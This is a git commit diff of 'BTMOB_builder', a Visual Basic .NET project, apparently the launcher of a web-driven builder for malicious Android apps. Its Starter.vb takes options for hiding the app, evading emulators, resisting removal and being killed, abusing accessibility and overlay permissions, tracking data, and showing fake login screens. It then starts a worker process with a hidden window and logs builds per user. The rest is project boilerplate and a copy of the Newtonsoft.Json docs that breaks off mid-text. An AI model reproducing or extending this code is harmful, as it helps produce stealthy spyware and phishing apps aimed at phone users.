commit ee6042694e1dbb2be11c497f69e343e18afb7ae3 Author: i2p Date: Thu Aug 27 11:22:47 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..6755605 Binary files /dev/null and b/.DS_Store differ diff --git a/BTMOB_builder/.vs/SolrStarter/FileContentIndex/77a01ad7-937b-4e5a-b7bf-052f04db16db.vsidx b/BTMOB_builder/.vs/SolrStarter/FileContentIndex/77a01ad7-937b-4e5a-b7bf-052f04db16db.vsidx new file mode 100644 index 0000000..fa6b64b Binary files /dev/null and b/BTMOB_builder/.vs/SolrStarter/FileContentIndex/77a01ad7-937b-4e5a-b7bf-052f04db16db.vsidx differ diff --git a/BTMOB_builder/.vs/SolrStarter/v17/.suo b/BTMOB_builder/.vs/SolrStarter/v17/.suo new file mode 100644 index 0000000..3808acc Binary files /dev/null and b/BTMOB_builder/.vs/SolrStarter/v17/.suo differ diff --git a/BTMOB_builder/.vs/SolrStarter/v17/DocumentLayout.backup.json b/BTMOB_builder/.vs/SolrStarter/v17/DocumentLayout.backup.json new file mode 100644 index 0000000..89b72bf --- /dev/null +++ b/BTMOB_builder/.vs/SolrStarter/v17/DocumentLayout.backup.json @@ -0,0 +1,12 @@ +{ + "Version": 1, + "WorkspaceRootPath": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\", + "Documents": [], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [] + } + ] +} \ No newline at end of file diff --git a/BTMOB_builder/.vs/SolrStarter/v17/DocumentLayout.json b/BTMOB_builder/.vs/SolrStarter/v17/DocumentLayout.json new file mode 100644 index 0000000..ef1fd50 --- /dev/null +++ b/BTMOB_builder/.vs/SolrStarter/v17/DocumentLayout.json @@ -0,0 +1,37 @@ +{ + "Version": 1, + "WorkspaceRootPath": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{7337EA08-4AF7-4171-9739-0F6B362ECB6E}|SolrWorker\\SolrWorker.vbproj|e:\\downloads\\btmob_builder \u00A6\u00AC\u00A6-\u00A6-t\u0431 byevlf\\solrworker\\crypters.vb||{2C015C70-C72C-11D0-88C3-00A0C9110049}", + "RelativeMoniker": "D:0:0:{7337EA08-4AF7-4171-9739-0F6B362ECB6E}|SolrWorker\\SolrWorker.vbproj|solutionrelative:solrworker\\crypters.vb||{2C015C70-C72C-11D0-88C3-00A0C9110049}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 0, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "Crypters.vb", + "DocumentMoniker": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\SolrWorker\\Crypters.vb", + "RelativeDocumentMoniker": "SolrWorker\\Crypters.vb", + "ToolTip": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\SolrWorker\\Crypters.vb", + "RelativeToolTip": "SolrWorker\\Crypters.vb", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003361|", + "WhenOpened": "2025-10-19T17:10:33.603Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/BTMOB_builder/SolrStarter.sln b/BTMOB_builder/SolrStarter.sln new file mode 100644 index 0000000..0433e32 --- /dev/null +++ b/BTMOB_builder/SolrStarter.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.6.33723.286 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SolrStarter", "SolrStarter\SolrStarter.vbproj", "{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}" +EndProject +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SolrWorker", "SolrWorker\SolrWorker.vbproj", "{7337EA08-4AF7-4171-9739-0F6B362ECB6E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Release|Any CPU.Build.0 = Release|Any CPU + {7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {BEFAC5F3-C792-4A4C-AD7D-43912F0A5869} + EndGlobalSection +EndGlobal diff --git a/BTMOB_builder/SolrStarter/App.config b/BTMOB_builder/SolrStarter/App.config new file mode 100644 index 0000000..5ffd8f8 --- /dev/null +++ b/BTMOB_builder/SolrStarter/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/BTMOB_builder/SolrStarter/My Project/Application.Designer.vb b/BTMOB_builder/SolrStarter/My Project/Application.Designer.vb new file mode 100644 index 0000000..b18d21f --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' Этот код создан программой. +' Исполняемая версия:4.0.30319.42000 +' +' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае +' повторной генерации кода. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/BTMOB_builder/SolrStarter/My Project/Application.myapp b/BTMOB_builder/SolrStarter/My Project/Application.myapp new file mode 100644 index 0000000..23b627f --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + false + 0 + true + 0 + 2 + true + diff --git a/BTMOB_builder/SolrStarter/My Project/AssemblyInfo.vb b/BTMOB_builder/SolrStarter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..f860092 --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/BTMOB_builder/SolrStarter/My Project/Resources.Designer.vb b/BTMOB_builder/SolrStarter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..bb119bd --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' Этот код создан программой. +' Исполняемая версия:4.0.30319.42000 +' +' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае +' повторной генерации кода. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'Этот класс создан автоматически классом StronglyTypedResourceBuilder + 'с помощью такого средства, как ResGen или Visual Studio. + 'Чтобы добавить или удалить член, измените файл .ResX и снова запустите ResGen + 'с параметром /str или перестройте свой проект VS. + ''' + ''' Класс ресурса со строгой типизацией для поиска локализованных строк и т.д. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Возвращает кэшированный экземпляр ResourceManager, использованный этим классом. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SolrStarter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Перезаписывает свойство CurrentUICulture текущего потока для всех + ''' обращений к ресурсу с помощью этого класса ресурса со строгой типизацией. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/BTMOB_builder/SolrStarter/My Project/Resources.resx b/BTMOB_builder/SolrStarter/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/BTMOB_builder/SolrStarter/My Project/Settings.Designer.vb b/BTMOB_builder/SolrStarter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..313186c --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' Этот код создан программой. +' Исполняемая версия:4.0.30319.42000 +' +' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае +' повторной генерации кода. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "Функция автоматического сохранения My.Settings" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(sender As Global.System.Object, e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.SolrStarter.My.MySettings + Get + Return Global.SolrStarter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/BTMOB_builder/SolrStarter/My Project/Settings.settings b/BTMOB_builder/SolrStarter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/BTMOB_builder/SolrStarter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/BTMOB_builder/SolrStarter/Mylogger.vb b/BTMOB_builder/SolrStarter/Mylogger.vb new file mode 100644 index 0000000..e150b2f --- /dev/null +++ b/BTMOB_builder/SolrStarter/Mylogger.vb @@ -0,0 +1,77 @@ +Imports System.IO +Imports Newtonsoft.Json + +Module Mylogger + Private ReadOnly errorDirPath As String = "errors" + Private ReadOnly buildDirPath As String = "logs" + + Public Sub LogError(ByVal userId As String, ByVal methodName As String, ByVal errorMessage As String) + Try + + Dim directoryPath As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, errorDirPath, userId) + Directory.CreateDirectory(directoryPath) + + + Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd") + Dim filePath As String = Path.Combine(directoryPath, $"{userId + "-" + currentDate}-log.json") + + + Dim errorLog As New List(Of Object)() + + If File.Exists(filePath) Then + Dim existingLog As String = File.ReadAllText(filePath) + errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog) + End If + + Dim errorObject As New With { + .Date = DateTime.Now.ToString(), + .Method = methodName, + .Content = errorMessage + } + + errorLog.Add(errorObject) + + Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Formatting.Indented) + + File.WriteAllText(filePath, jsonLog) + Catch ex As Exception + + Console.WriteLine($"Error logging failed: {ex.Message}") + End Try + End Sub + Public Sub Logbuild(ByVal userId As String, ByVal methodName As String, ByVal msg As String) + Try + + Dim directoryPath As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, buildDirPath, userId) + Directory.CreateDirectory(directoryPath) + + + Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd") + Dim filePath As String = Path.Combine(directoryPath, $"{currentDate}-log.json") + + + Dim errorLog As New List(Of Object)() + + If File.Exists(filePath) Then + Dim existingLog As String = File.ReadAllText(filePath) + errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog) + End If + + Dim errorObject As New With { + .Date = DateTime.Now.ToString(), + .Method = methodName, + .Content = msg + } + + errorLog.Add(errorObject) + + Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Formatting.Indented) + + File.WriteAllText(filePath, jsonLog) + Catch ex As Exception + + Console.WriteLine($"build logging failed: {ex.Message}") + End Try + End Sub + +End Module diff --git a/BTMOB_builder/SolrStarter/SolrStarter.vbproj b/BTMOB_builder/SolrStarter/SolrStarter.vbproj new file mode 100644 index 0000000..3f3fb21 --- /dev/null +++ b/BTMOB_builder/SolrStarter/SolrStarter.vbproj @@ -0,0 +1,116 @@ + + + + + Debug + AnyCPU + {013DD8EA-30DE-4CBE-869F-3D1A6B922AEE} + Exe + SolrStarter.Starter + SolrStarter + SolrStarter + 512 + Console + v4.8 + true + + + + AnyCPU + true + full + true + true + ..\..\..\..\..\..\xampp\htdocs\BTMOB\private\builder\ + SolrStarter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + SolrStarter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll + True + + + + + + + + + + + + + + + + + + + + + + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + \ No newline at end of file diff --git a/BTMOB_builder/SolrStarter/Starter.vb b/BTMOB_builder/SolrStarter/Starter.vb new file mode 100644 index 0000000..982c20e --- /dev/null +++ b/BTMOB_builder/SolrStarter/Starter.vb @@ -0,0 +1,283 @@ +Imports System.Text +Imports Microsoft.Win32 + +Module Starter + + Private userid As String + Private appid As String + Private ClientName As String = Nothing + Private UserHost As String = Nothing + + Private use_access As String = Nothing + Private use_draw As String = Nothing + Private use_antkill As String = Nothing + Private use_atoprims As String = Nothing + Private notifytitle As String = Nothing + Private notifymsg As String = Nothing + + Private allprims As String = Nothing + Private Buildtype As String = Nothing + + + Private appname As String = Nothing + Private appversion As String = Nothing + Private appicopath As String = Nothing + Private appurl As String = Nothing + Private logintitle As String = Nothing + Private logindis As String = Nothing + Private loginbtn As String = Nothing + Private lngshort As String = Nothing + Private hiddenapp As String = Nothing + Private noemulator As String = Nothing + Private miuiautostart As String = Nothing + Private autorunback As String = Nothing + Private installtype As String = Nothing + Private hidetype As String = Nothing + Private nosleep As String = Nothing + Private caplock As String = Nothing + Private trakingdata As String = Nothing + Private allconfig As String = Nothing + Private nodelete As String = Nothing + + + + Private Email As String = Nothing + Private MainActivity As String = Nothing + Private appdir As String = Nothing + + Private Workerid As String + + + + 'enum('onbuild', 'failed', 'finished') + + + Sub Main() + + + Try + + Threading.Thread.Sleep(500) + + Dim args() As String = Split(Command(), " ") + If args Is Nothing Or args.Length = 0 Then + Console.WriteLine("Invalid Parameter Builder.") + Environment.Exit(0) + End If + + Dim com As String = args(0).Trim("""") + + + Try + appid = Base64Decode(args(1).Trim("""")) + userid = Base64Decode(args(2).Trim("""")) + ClientName = Base64Decode(args(3).Trim("""")) + Email = Base64Decode(args(4).Trim("""")) + MainActivity = Base64Decode(args(5).Trim("""")) + appdir = Base64Decode(args(6).Trim("""")) + UserHost = Base64Decode(args(7).Trim("""")) + + use_access = Base64Decode(args(8).Trim("""")) + use_draw = Base64Decode(args(9).Trim("""")) + use_antkill = Base64Decode(args(10).Trim("""")) + use_atoprims = Base64Decode(args(11).Trim("""")) + notifytitle = Base64Decode(args(12).Trim("""")) + notifymsg = Base64Decode(args(13).Trim("""")) + + If String.IsNullOrWhiteSpace(notifytitle) Or String.IsNullOrEmpty(notifytitle) Then + notifytitle = " " + End If + + If String.IsNullOrWhiteSpace(notifymsg) Or String.IsNullOrEmpty(notifymsg) Then + notifymsg = " " + End If + + allprims = Base64Decode(args(14).Trim("""")) + + Buildtype = Base64Decode(args(15).Trim("""")) + appname = Base64Decode(args(16).Trim("""")) + appversion = Base64Decode(args(17).Trim("""")) + appicopath = Base64Decode(args(18).Trim("""")) + appurl = Base64Decode(args(19).Trim("""")) + logintitle = Base64Decode(args(20).Trim("""")) + logindis = Base64Decode(args(21).Trim("""")) + loginbtn = Base64Decode(args(22).Trim("""")) + lngshort = Base64Decode(args(23).Trim("""")) + + hiddenapp = Base64Decode(args(24).Trim("""")) + noemulator = Base64Decode(args(25).Trim("""")) + miuiautostart = Base64Decode(args(26).Trim("""")) + autorunback = Base64Decode(args(27).Trim("""")) + installtype = Base64Decode(args(28).Trim("""")) + hidetype = Base64Decode(args(29).Trim("""")) + nosleep = Base64Decode(args(30).Trim("""")) + caplock = Base64Decode(args(31).Trim("""")) + trakingdata = Base64Decode(args(32).Trim("""")) + allconfig = Base64Decode(args(33).Trim("""")) + nodelete = Base64Decode(args(34).Trim("""")) + 'If Buildtype = "C" Then + ' appname = Base64Decode(args(16).Trim("""")) + ' appversion = Base64Decode(args(17).Trim("""")) + ' appicopath = Base64Decode(args(18).Trim("""")) + ' appurl = Base64Decode(args(19).Trim("""")) + ' logintitle = Base64Decode(args(20).Trim("""")) + ' logindis = Base64Decode(args(21).Trim("""")) + ' loginbtn = Base64Decode(args(22).Trim("""")) + ' lngshort = Base64Decode(args(23).Trim("""")) + + ' hiddenapp = Base64Decode(args(24).Trim("""")) + ' noemulator = Base64Decode(args(25).Trim("""")) + ' miuiautostart = Base64Decode(args(26).Trim("""")) + ' autorunback = Base64Decode(args(27).Trim("""")) + ' installtype = Base64Decode(args(28).Trim("""")) + ' hidetype = Base64Decode(args(29).Trim("""")) + ' nosleep = Base64Decode(args(30).Trim("""")) + + 'Else + ' appname = "_" + ' appversion = "_" + ' appicopath = "_" + ' appurl = "_" + ' logintitle = "_" + ' logindis = "_" + ' loginbtn = "_" + ' hiddenapp = "_" + ' noemulator = "_" + ' miuiautostart = "_" + ' autorunback = "_" + ' installtype = "_" + ' hidetype = "_" + ' nosleep = "_" + ' lngshort = Base64Decode(args(16).Trim("""")) + 'End If + + Catch ex As Exception + + Console.WriteLine("> Error: " + "Something went wrong") + Mylogger.LogError(userid, "inialize values error:", ex.Message) + Environment.Exit(0) + End Try + + + Workerid = CovertToMD5(userid + "_" + appid) + + Select Case com + Case "lunch" + + + If Busy(Workerid) Then + Console.WriteLine("This app is building right now , please wait.") + Environment.Exit(0) + End If + + Dim exePath As String = "SolrWorker.exe" + + + Dim encodedArguments As String = ToBase64(Workerid) + " " + + ToBase64(appid) + " " + + ToBase64(userid) + " " + + ToBase64(ClientName) + " " + + ToBase64(Email) + " " + + ToBase64(MainActivity) + " " + + ToBase64(appdir) + " " + + ToBase64(UserHost) + " " + + ToBase64(use_access) + " " + + ToBase64(use_draw) + " " + + ToBase64(use_antkill) + " " + + ToBase64(use_atoprims) + " " + + ToBase64(notifytitle) + " " + + ToBase64(notifymsg) + " " + + ToBase64(allprims) + " " + + ToBase64(Buildtype) + " " + + ToBase64(appname) + " " + + ToBase64(appversion) + " " + + ToBase64(appicopath) + " " + + ToBase64(appurl) + " " + + ToBase64(logintitle) + " " + + ToBase64(logindis) + " " + + ToBase64(loginbtn) + " " + + ToBase64(lngshort) + " " + + ToBase64(hiddenapp) + " " + + ToBase64(noemulator) + " " + + ToBase64(miuiautostart) + " " + + ToBase64(autorunback) + " " + + ToBase64(installtype) + " " + + ToBase64(hidetype) + " " + + ToBase64(nosleep) + " " + + ToBase64(caplock) + " " + + ToBase64(trakingdata) + " " + + ToBase64(allconfig) + " " + + ToBase64(nodelete) + + + + + + + Dim startInfo As New ProcessStartInfo() + startInfo.FileName = exePath + startInfo.Arguments = encodedArguments + startInfo.CreateNoWindow = True + + startInfo.WindowStyle = ProcessWindowStyle.Hidden + startInfo.UseShellExecute = True + + + Process.Start(startInfo) + + Console.WriteLine("Your app is building now.") + + Exit Select + Case Else + Console.WriteLine("Invalid Command.") + Exit Select + End Select + + Environment.Exit(0) + + Catch ex As Exception + Console.WriteLine("> Starter: " + ex.Message) + Mylogger.LogError(userid, "Main starter", ex.Message) + End Try + End Sub + Function ToBase64(input As String) As String + Dim bytes As Byte() = Encoding.UTF8.GetBytes(input) + Return Convert.ToBase64String(bytes) + End Function + Function Busy(ByVal userid As String) As Boolean + Try + Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\AppWorkers") + If key IsNot Nothing Then + Dim value As Object = key.GetValue(userid) + If value IsNot Nothing Then + Dim pid As Integer + If Integer.TryParse(value.ToString(), pid) Then + Dim process As Process = Process.GetProcessById(pid) + If process IsNot Nothing AndAlso Not process.HasExited Then + Return True + End If + End If + End If + End If + Catch ex As Exception + + End Try + Return False + End Function + + Function CovertToMD5(retVal As String) As String + Using MD5 = System.Security.Cryptography.MD5.Create() + Return BitConverter.ToString(MD5.ComputeHash(Encoding.Default.GetBytes(retVal))).Replace("-", String.Empty) + End Using + End Function + + + Public Function Base64Decode(encodedString As String) As String + Dim decodedBytes As Byte() = Convert.FromBase64String(encodedString) + Return System.Text.Encoding.UTF8.GetString(decodedBytes) + End Function + + + + +End Module diff --git a/BTMOB_builder/SolrStarter/bin/Debug/Newtonsoft.Json.dll b/BTMOB_builder/SolrStarter/bin/Debug/Newtonsoft.Json.dll new file mode 100644 index 0000000..341d08f Binary files /dev/null and b/BTMOB_builder/SolrStarter/bin/Debug/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/SolrStarter/bin/Debug/Newtonsoft.Json.xml b/BTMOB_builder/SolrStarter/bin/Debug/Newtonsoft.Json.xml new file mode 100644 index 0000000..80cb43c --- /dev/null +++ b/BTMOB_builder/SolrStarter/bin/Debug/Newtonsoft.Json.xml @@ -0,0 +1,11363 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from the ISO 